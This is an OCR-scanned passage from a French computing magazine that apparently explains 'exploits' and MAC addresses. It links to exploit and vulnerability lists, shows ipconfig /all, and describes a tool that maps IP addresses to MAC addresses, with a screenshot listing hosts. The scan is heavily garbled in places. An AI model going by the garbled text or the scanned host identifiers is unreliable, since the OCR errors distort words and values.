d'exploitation. Au plus I'on a d'informations et d'outils, est au plus les
probabilités de découvertes de nouveaux exploits sont grandes. Cela
vaut également pour les systémes ayant la capacité de renfermer une

certaine quantité d'informations, qui se présente le plus souvent sous
forme de systémes électronigues numérigues.
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UNE LISTE DE DISCUSSION SUR LES VULNERABILITES DES
SYSTEMES ET DES LOGICIELS : http://vulnwatch.org/

Securife
[“Your se protéger des "exploits’, ce qui est paradoxal c'est qu'il convient
de créer des systémes transparents trés simples. || serait llogique de
les attaquer, car outre le fait d’étre simples et ordonnés, toute tentative de
modifications a été prévue, ou bien parce qu'ils sont invisibles et passent
donc inapergus. Il est trés utile également de communiquer.
On devient plus curieux lorsqu'on souhaite apprendre d'avantage sur un
systeme. C'est alors que nous vient I'envie de dévoiler ses secrets les plus
caches. Mais si ces derniers sont de notoriété publigue, nous devrons
alors affronter un monde plus complexe, et par conséquent avoir un godt
du défi plus important,

UNE LISTE MISE A JOUR SUR LES EXPLOITS :
www.k-otik.com/exploits/




MAC address

adresse MAC (Media Access
Control) est un nombre univo-
que qui identifie chaque noeud
(ou element) de n'importe
quel réseau Ethernet. C'est un nom-
bre qui fait 6 octets, soit
_- 48 hits exprimés sous la
forme de 12 chiffres hexa-
decimaux. Pour faire en
_sorte qu'il soit unique sur le
> Réseau, on ['a partage en deux
» avec d’une part un préfixe de 3
octets qui correspond au producteur
du systeme et un suffixe de 3octets
que chaque producteur peut attribuer
comme Il le désire..

es trois premiers octets de I'adresse MAC identifient le produc-
teur du matériel informatique (ou hardware) que I'on posséde,
| comme par exemple Cisco, Belkin, 3Com, Intel et ainsi de suite. |

%5 CC Get MAC Address 2.0 o) x|
(Rtri| mome| me1| | Bpet | (Ve oniw| | ol |
M. | TP Address | MAC Addrass [ Computer Nena
1 202, 106. 182. 68 00018¢2b2b3 ORACLE
2 202. 108, 182,77 0010547784d5 NETGRAVITY
3 202. 106. 182, 85 000102482600 H-NKIMVGSCTSCQP
4 202.106.162.106  001088£8643¢ DFSERVER
5 202. 106. 182.213 00105677263¢ SINA-WN4VHELFTK
|8 202. 108, 184.4 009027479dda #¥-KESDGSK2DA1
,_...:_ - p——— ._. - —

i Auto Scan }
htip'/lwwn. yrsofi. com/cc-get-nac-address, bia

Ethernet

WOL

yalites requises

our identifier une adresse MAC relié a un systéme, il existe

généralement des logiciels qui parviennent a la lire a partir de
chaque composant.
Par exemple, sous Windows XP, un moyen d' identification de I'adres-
se MAC des cartes réseau et des connexjons Ethernet disponibles sur
notre machine, si nous avons installé TCP/IP, est de rappeler la fenétre
de commande en faisant Démarrer > Exécuter> cmd et d'écrire ensuite
ipconfig/all. L'adresse physique attribuée de 12 chiffres est I'adresse
MAC du dispositif auquel elle est attribuée.

| Securite
Raspect unique d'une adresse MAC a des implications intéres-
santes, car outre |'adresse IP qu'ils peuvent nous avoir attribug

de maniére dynamique, il y a toujours un nombre qui ne change pas et
qui peut nous identifier de maniére univoque, est c'est justement |'a-
dresse MAC. Des logiciels comme CC Get MAC Address permet de
récupérer I'adresse MAG depuis une adresse [P reliée au Réseau. Cela
peut constituer une arme a double tranchant concernant la sécurité,
mais est trés utile aux administrateurs systeme pour identifier précisé
ment les dispositifs reliés au réseau et les éventuels dysfonctionne-
ments.

UNE BASE DE DONNEE NOUS PERMET D'IDENTIFIER LES
ADRESSES MAC DES PRODUCTEURS
www.coffer.com/mac_find/

UN LOGICIEL QUI IDENTIFIE L'ADRESSE MAC EN EXPLORANT
LES ADRESSES IP RELIES AU RESEAU
www.youngzsoft.net/cc-get-mac-address/download.htm
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